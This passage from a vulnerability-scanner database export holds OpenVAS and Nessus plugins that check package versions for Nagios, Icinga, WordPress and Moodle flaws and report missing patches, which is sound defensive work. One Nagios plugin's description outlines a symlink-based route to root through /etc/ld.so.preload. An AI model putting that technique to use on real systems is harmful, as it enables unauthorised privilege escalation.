isdpkgvuln(pkg:\"icinga-core\", ver:\"1.7.1-7\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"icinga-dbg\", ver:\"1.7.1-7\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"icinga-doc\", ver:\"1.7.1-7\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"icinga-idoutils\", ver:\"1.7.1-7\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\n\nif(report != \"\") {\n security_message(data:report);\n} else if(__pkg_match) {\n exit(99);\n}", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-05-29T18:35:49", "bulletinFamily": "scanner", "cvelist": ["CVE-2016-9566"], "description": "Nagios is prone to a privilege escalation vulnerability.", "modified": "2018-10-25T00:00:00", "published": "2016-12-15T00:00:00", "id": "OPENVAS:1361412562310106475", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310106475", "type": "openvas", "title": "Nagios Privilege Escalation Vulnerability", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_nagios_priv_esc_vuln2.nasl 12096 2018-10-25 12:26:02Z asteins $\n#\n# Nagios Privilege Escalation Vulnerability\n#\n# Authors:\n# Christian Kuersteiner <christian.kuersteiner@greenbone.net>\n#\n# Copyright:\n# Copyright (c) 2016 Greenbone Networks GmbH\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nCPE = 'cpe:/a:nagios:nagios';\n\nif (description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.106475\");\n script_version(\"$Revision: 12096 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-10-25 14:26:02 +0200 (Thu, 25 Oct 2018) $\");\n script_tag(name:\"creation_date\", value:\"2016-12-15 10:22:34 +0700 (Thu, 15 Dec 2016)\");\n script_tag(name:\"cvss_base\", value:\"7.2\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n\n script_cve_id(\"CVE-2016-9566\");\n\n script_tag(name:\"qod_type\", value:\"remote_banner\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n script_name(\"Nagios Privilege Escalation Vulnerability\");\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"This script is Copyright (C) 2016 Greenbone Networks GmbH\");\n script_family(\"Web application abuses\");\n script_dependencies(\"nagios_detect.nasl\");\n script_mandatory_keys(\"nagios/installed\");\n\n script_tag(name:\"summary\", value:\"Nagios is prone to a privilege escalation vulnerability.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"The Nagios daemon was found to open the log file before dropping its root\nprivileges on startup. If an attacker managed to gain access to an account of 'nagios' or any other account\nbelonging to the 'nagios' group, they would be able to replace the log file with a symlink to an arbitrary file\non the system. This vulnerability could be used by an attacker to escalate their privileges from nagios\nuser/group to root for example by creating a malicious /etc/ld.so.preload file.\");\n\n script_tag(name:\"impact\", value:\"A local attacker may escalate the privileges.\");\n\n script_tag(name:\"affected\", value:\"Nagios 4.2.2 and before.\");\n\n script_tag(name:\"solution\", value:\"Update to version 4.2.3 or later.\");\n\n script_xref(name:\"URL\", value:\"https://www.exploit-db.com/exploits/40774/\");\n\n exit(0);\n}\n\ninclude(\"host_details.inc\");\ninclude(\"version_func.inc\");\n\nif (!port = get_app_port(cpe: CPE))\n exit(0);\n\nif (!version = get_app_version(cpe: CPE, port: port))\n exit(0);\n\nif (version_is_less(version: version, test_version: \"4.2.3\")) {\n report = report_fixed_ver(installed_version: version, fixed_version: \"4.2.3\");\n security_message(port: port, data: report);\n exit(0);\n}\n\nexit(0);\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2017-07-02T21:10:26", "bulletinFamily": "scanner", "cvelist": ["CVE-2008-4796"], "description": "The remote host is missing an update to the system\nas announced in the referenced advisory.", "modified": "2016-10-04T00:00:00", "published": "2008-11-01T00:00:00", "id": "OPENVAS:61799", "href": "http://plugins.openvas.org/nasl.php?oid=61799", "type": "openvas", "title": "FreeBSD Ports: wordpress, de-wordpress, wordpress-mu", "sourceData": "#\n#VID 3a4a3e9c-a1fe-11dd-81be-001c2514716c\n# OpenVAS Vulnerability Test\n# $\n# Description: Auto generated from VID 3a4a3e9c-a1fe-11dd-81be-001c2514716c\n#\n# Authors:\n# Thomas Reinke <reinke@securityspace.com>\n#\n# Copyright:\n# Copyright (c) 2008 E-Soft Inc. http://www.securityspace.com\n# Text descriptions are largely excerpted from the referenced\n# advisories, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2,\n# as published by the Free Software Foundation\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\ninclude(\"revisions-lib.inc\");\ntag_insight = \"The following packages are affected:\n wordpress\n de-wordpress\n wordpress-mu\";\ntag_solution = \"Update your system with the appropriate patches or\nsoftware upgrades.\n\nhttp://secunia.com/Advisories/32361/\nhttp://wordpress.org/development/2008/10/wordpress-263/\nhttp://www.vuxml.org/freebsd/3a4a3e9c-a1fe-11dd-81be-001c2514716c.html\";\ntag_summary = \"The remote host is missing an update to the system\nas announced in the referenced advisory.\";\n\n\n\nif(description)\n{\n script_id(61799);\n script_version(\"$Revision: 4203 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2016-10-04 07:30:30 +0200 (Tue, 04 Oct 2016) $\");\n script_tag(name:\"creation_date\", value:\"2008-11-01 01:55:10 +0100 (Sat, 01 Nov 2008)\");\n script_cve_id(\"CVE-2008-4796\");\n script_bugtraq_id(31887);\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_name(\"FreeBSD Ports: wordpress, de-wordpress, wordpress-mu\");\n\n\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (c) 2008 E-Soft Inc. http://www.securityspace.com\");\n script_family(\"FreeBSD Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/freebsdrel\", \"login/SSH/success\");\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n#\n# The script code starts here\n#\n\ninclude(\"pkg-lib-bsd.inc\");\n\ntxt = \"\";\nvuln = 0;\nbver = portver(pkg:\"wordpress\");\nif(!isnull(bver) && revcomp(a:bver, b:\"2.6.3\")<0) {\n txt += 'Package wordpress version ' + bver + ' is installed which is known to be vulnerable.\\n';\n vuln = 1;\n}\nbver = portver(pkg:\"de-wordpress\");\nif(!isnull(bver) && revcomp(a:bver, b:\"2.6.3\")<0) {\n txt += 'Package de-wordpress version ' + bver + ' is installed which is known to be vulnerable.\\n';\n vuln = 1;\n}\nbver = portver(pkg:\"wordpress-mu\");\nif(!isnull(bver) && revcomp(a:bver, b:\"2.6.3\")<0) {\n txt += 'Package wordpress-mu version ' + bver + ' is installed which is known to be vulnerable.\\n';\n vuln = 1;\n}\n\nif(vuln) {\n security_message(data:string(txt));\n} else if (__pkg_match) {\n exit(99); # Not vulnerable.\n}\n", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-07-25T10:57:08", "bulletinFamily": "scanner", "cvelist": ["CVE-2008-4796"], "description": "Check for the Version of moodle", "modified": "2017-07-10T00:00:00", "published": "2009-02-17T00:00:00", "id": "OPENVAS:860079", "href": "http://plugins.openvas.org/nasl.php?oid=860079", "type": "openvas", "title": "Fedora Update for moodle FEDORA-2008-9903", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for moodle FEDORA-2008-9903\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (c) 2009 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ninclude(\"revisions-lib.inc\");\ntag_affected = \"moodle on Fedora 10\";\ntag_insight = \"Moodle is a course management system (CMS) - a free, Open Source software\n package designed using sound pedagogical principles, to help educators create\n effective online learning communities.\";\ntag_solution = \"Please Install the Updated Packages.\";\n\n\n\nif(description)\n{\n script_xref(name : \"URL\" , value : \"https://www.redhat.com/archives/fedora-package-announce/2008-November/msg00616.html\");\n script_id(860079);\n script_version(\"$Revision: 6623 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-07-10 08:10:20 +0200 (Mon, 10 Jul 2017) $\");\n script_tag(name:\"creation_date\", value:\"2009-02-17 17:07:33 +0100 (Tue, 17 Feb 2009)\");\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_xref(name: \"FEDORA\", value: \"2008-9903\");\n script_cve_id(\"CVE-2008-4796\");\n script_name( \"Fedora Update for moodle FEDORA-2008-9903\");\n\n script_summary(\"Check for the Version of moodle\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2009 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\");\n script_tag(name : \"affected\" , value : tag_affected);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = get_kb_item(\"ssh/login/release\");\n\n\nres = \"\";\nif(release == NULL){\n exit(0);\n}\n\nif(release == \"FC10\")\n{\n\n if ((res = isrpmvuln(pkg:\"moodle\", rpm:\"moodle~1.9.3~3.fc10\", rls:\"FC10\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99); # Not vulnerable.\n exit(0);\n}", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-07-25T10:56:13", "bulletinFamily": "scanner", "cvelist": ["CVE-2008-4796"], "description": "Check for the Version of wordpress", "modified": "2017-07-10T00:00:00", "published": "2009-02-17T00:00:00", "id": "OPENVAS:860342", "href": "http://plugins.openvas.org/nasl.php?oid=860342", "type": "openvas", "title": "Fedora Update for wordpress FEDORA-2008-9304", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for wordpress FEDORA-2008-9304\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (c) 2009 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ninclude(\"revisions-lib.inc\");\ntag_affected = \"wordpress on Fedora 8\";\ntag_insight = \"Wordpress is an online publishing / weblog package that makes it very easy,\n almost trivial, to get information out to people on the web.\";\ntag_solution = \"Please Install the Updated Packages.\";\n\n\n\nif(description)\n{\n script_xref(name : \"URL\" , value : \"https://www.redhat.com/archives/fedora-package-announce/2008-November/msg00116.html\");\n script_id(860342);\n script_version(\"$Revision: 6623 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-07-10 08:10:20 +0200 (Mon, 10 Jul 2017) $\");\n script_tag(name:\"creation_date\", value:\"2009-02-17 17:07:33 +0100 (Tue, 17 Feb 2009)\");\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_xref(name: \"FEDORA\", value: \"2008-9304\");\n script_cve_id(\"CVE-2008-4796\");\n script_name( \"Fedora Update for wordpress FEDORA-2008-9304\");\n\n script_summary(\"Check for the Version of wordpress\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2009 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\");\n script_tag(name : \"affected\" , value : tag_affected);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = get_kb_item(\"ssh/login/release\");\n\n\nres = \"\";\nif(release == NULL){\n exit(0);\n}\n\nif(release == \"FC8\")\n{\n\n if ((res = isrpmvuln(pkg:\"wordpress\", rpm:\"wordpress~2.6.3~1.fc8\", rls:\"FC8\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99); # Not vulnerable.\n exit(0);\n}", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "nessus": [{"lastseen": "2021-03-01T07:32:14", "description": "USN-3253-1 fixed vulnerabilities in Nagios. The update prevented log\nfiles from being displayed in the web interface. This update fixes the\nproblem.\n\nWe apologize for the inconvenience.\n\nIt was discovered that Nagios incorrectly handled certain long\nstrings. A remote authenticated attacker could use this issue to cause\nNagios to crash, resulting in a denial of service, or possibly obtain\nsensitive information. (CVE-2013-7108, CVE-2013-7205)\n\nIt was discovered that Nagios incorrectly handled certain\nlong messages to cmd.cgi. A remote attacker could possibly\nuse this issue to cause Nagios to crash, resulting in a\ndenial of service. (CVE-2014-1878)\n\nDawid Golunski discovered that Nagios incorrectly handled\nsymlinks when accessing log files. A local attacker could\npossibly use this issue to elevate privileges. In the\ndefault installation of Ubuntu, this should be prevented by\nthe Yama link restrictions. (CVE-2016-9566).\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Ubuntu security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "edition": 27, "cvss3": {"score": 7.8, "vector": "AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}, "published": "2017-06-08T00:00:00", "title": "Ubuntu 14.04 LTS / 16.04 LTS / 16.10 / 17.04 : nagios3 regression (USN-3253-2)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2016-9566", "CVE-2014-1878", "CVE-2013-7205", "CVE-2013-7108"], "modified": "2021-03-02T00:00:00", "cpe": ["cpe:/o:canonical:ubuntu_linux:17.04", "cpe:/o:canonical:ubuntu_linux:16.04", "p-cpe:/a:canonical:ubuntu_linux:nagios3-core", "p-cpe:/a:canonical:ubuntu_linux:nagios3-cgi", "cpe:/o:canonical:ubuntu_linux:16.10", "cpe:/o:canonical:ubuntu_linux:14.04"], "id": "UBUNTU_USN-3253-2.NASL", "href": "https://www.tenable.com/plugins/nessus/100677", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Ubuntu Security Notice USN-3253-2. The text \n# itself is copyright (C) Canonical, Inc. See \n# <http://www.ubuntu.com/usn/>. Ubuntu(R) is a registered \n# trademark of Canonical, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(100677);\n script_version(\"3.5\");\n script_cvs_date(\"Date: 2019/09/18 12:31:46\");\n\n script_cve_id(\"CVE-2013-7108\", \"CVE-2013-7205\", \"CVE-2014-1878\", \"CVE-2016-9566\");\n script_xref(name:\"USN\", value:\"3253-2\");\n\n script_name(english:\"Ubuntu 14.04 LTS / 16.04 LTS / 16.10 / 17.04 : nagios3 regression (USN-3253-2)\");\n script_summary(english:\"Checks dpkg output for updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote Ubuntu host is missing one or more security-related\npatches.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"USN-3253-1 fixed vulnerabilities in Nagios. The update prevented log\nfiles from being displayed in the web interface. This update fixes the\nproblem.\n\nWe apologize for the inconvenience.\n\nIt was discovered that Nagios incorrectly handled certain long\nstrings. A remote authenticated attacker could use this issue to cause\nNagios to crash, resulting in a denial of service, or possibly obtain\nsensitive information. (CVE-2013-7108, CVE-2013-7205)\n\nIt was discovered that Nagios incorrectly handled certain\nlong messages to cmd.cgi. A remote attacker could possibly\nuse this issue to cause Nagios to crash, resulting in a\ndenial of service. (CVE-2014-1878)\n\nDawid Golunski discovered that Nagios incorrectly handled\nsymlinks when accessing log files. A local attacker could\npossibly use this issue to elevate privileges. In the\ndefault installation of Ubuntu, this should be prevented by\nthe Yama link restrictions. (CVE-2016-9566).\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Ubuntu security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://usn.ubuntu.com/3253-2/\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected nagios3-cgi and / or nagios3-core packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:nagios3-cgi\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:nagios3-core\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:14.04\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:16.04\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:16.10\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:17.04\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2014/01/15\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2017/06/07\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2017/06/08\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"Ubuntu Security Notice (C) 2017-2019 Canonical, Inc. / NASL script (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Ubuntu Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/cpu\", \"Host/Ubuntu\", \"Host/Ubuntu/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"ubuntu.inc\");\ninclude(\"misc_func.inc\");\n\nif ( ! get_kb_item(\"Host/local_checks_enabled\") ) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/Ubuntu/release\");\nif ( isnull(release) ) audit(AUDIT_OS_NOT, \"Ubuntu\");\nrelease = chomp(release);\nif (! preg(pattern:\"^(14\\.04|16\\.04|16\\.10|17\\.04)$\", string:release)) audit(AUDIT_OS_NOT, \"Ubuntu 14.04 / 16.04 / 16.10 / 17.04\", \"Ubuntu \" + release);\nif ( ! get_kb_item(\"Host/Debian/dpkg-l\") ) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Ubuntu\", cpu);\n\nflag = 0;\n\nif (ubuntu_check(osver:\"14.04\", pkgname:\"nagios3-cgi\", pkgver:\"3.5.1-1ubuntu1.3\")) flag++;\nif (ubuntu_check(osver:\"14.04\", pkgname:\"nagios3-core\", pkgver:\"3.5.1-1ubuntu1.3\")) flag++;\nif (ubuntu_check(osver:\"16.04\", pkgname:\"nagios3-cgi\", pkgver:\"3.5.1.dfsg-2.1ubuntu1.3\")) flag++;\nif (ubuntu_check(osver:\"16.04\", pkgname:\"nagios3-core\", pkgver:\"3.5.1.dfsg-2.1ubuntu1.3\")) flag++;\nif (ubuntu_check(osver:\"16.10\", pkgname:\"nagios3-cgi\", pkgver:\"3.5.1.dfsg-2.1ubuntu3.3\")) flag++;\nif (ubuntu_check(osver:\"16.10\", pkgname:\"nagios3-core\", pkgver:\"3.5.1.dfsg-2.1ubuntu3.3\")) flag++;\nif (ubuntu_check(osver:\"17.04\", pkgname:\"nagios3-cgi\", pkgver:\"3.5.1.dfsg-2.1ubuntu5.2\")) flag++;\nif (ubuntu_check(osver:\"17.04\", pkgname:\"nagios3-core\", pkgver:\"3.5.1.dfsg-2.1ubuntu5.2\")) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : ubuntu_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = ubuntu_pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"nagios3-cgi / nagios3-core\");\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-03-01T07:32:14", "description": "It was discovered that Nagios incorrectly handled certain long\nstrings. A remote authenticated attacker could use this issue to cause\nNagios to crash, resulting in a denial of service, or possibly obtain\nsensitive information. (CVE-2013-7108, CVE-2013-7205)\n\nIt was discovered that Nagios incorrectly handled certain long\nmessages to cmd.cgi. A remote attacker could possibly use this issue\nto cause Nagios to crash, resulting in a denial of service.\n(CVE-2014-1878)\n\nDawid Golunski discovered that Nagios incorrectly handled symlinks\nwhen accessing log files. A local attacker could possibly use this\nissue to elevate privileges. In the default installation of Ubuntu,\nthis should be prevented by the Yama link restrictions.\n(CVE-2016-9566).\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Ubuntu security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "edition": 27, "cvss3": {"score": 7.8, "vector": "AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}, "published": "2017-04-04T00:00:00", "title": "Ubuntu 14.04 LTS / 16.04 LTS / 16.10 : nagios3 vulnerabilities (USN-3253-1)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2016-9566", "CVE-2014-1878", "CVE-2013-7205", "CVE-2013-7108"], "modified": "2021-03-02T00:00:00", "cpe": ["cpe:/o:canonical:ubuntu_linux:16.04", "p-cpe:/a:canonical:ubuntu_linux:nagios3-core", "p-cpe:/a:canonical:ubuntu_linux:nagios3-cgi", "cpe:/o:canonical:ubuntu_linux:16.10", "cpe:/o:canonical:ubuntu_linux:14.04"], "id": "UBUNTU_USN-3253-1.NASL", "href": "https://www.tenable.com/plugins/nessus/99182", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Ubuntu Security Notice USN-3253-1. The text \n# itself is copyright (C) Canonical, Inc. See \n# <http://www.ubuntu.com/usn/>. Ubuntu(R) is a registered \n# trademark of Canonical, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(99182);\n script_version(\"3.5\");\n script_cvs_date(\"Date: 2019/09/18 12:31:46\");\n\n script_cve_id(\"CVE-2013-7108\", \"CVE-2013-7205\", \"CVE-2014-1878\", \"CVE-2016-9566\");\n script_xref(name:\"USN\", value:\"3253-1\");\n\n script_name(english:\"Ubuntu 14.04 LTS / 16.04 LTS / 16.10 : nagios3 vulnerabilities (USN-3253-1)\");\n script_summary(english:\"Checks dpkg output for updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote Ubuntu host is missing one or more security-related\npatches.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"It was discovered that Nagios incorrectly handled certain long\nstrings. A remote authenticated attacker could use this issue to cause\nNagios to crash, resulting in a denial of service, or possibly obtain\nsensitive information. (CVE-2013-7108, CVE-2013-7205)\n\nIt was discovered that Nagios incorrectly handled certain long\nmessages to cmd.cgi. A remote attacker could possibly use this issue\nto cause Nagios to crash, resulting in a denial of service.\n(CVE-2014-1878)\n\nDawid Golunski discovered that Nagios incorrectly handled symlinks\nwhen accessing log files. A local attacker could possibly use this\nissue to elevate privileges. In the default installation of Ubuntu,\nthis should be prevented by the Yama link restrictions.\n(CVE-2016-9566).\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Ubuntu security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://usn.ubuntu.com/3253-1/\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected nagios3-cgi and / or nagios3-core packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:nagios3-cgi\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:nagios3-core\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:14.04\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:16.04\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:16.10\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2014/01/15\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2017/04/03\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2017/04/04\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"Ubuntu Security Notice (C) 2017-2019 Canonical, Inc. / NASL script (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Ubuntu Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/cpu\", \"Host/Ubuntu\", \"Host/Ubuntu/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"ubuntu.inc\");\ninclude(\"misc_func.inc\");\n\nif ( ! get_kb_item(\"Host/local_checks_enabled\") ) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/Ubuntu/release\");\nif ( isnull(release) ) audit(AUDIT_OS_NOT, \"Ubuntu\");\nrelease = chomp(release);\nif (! 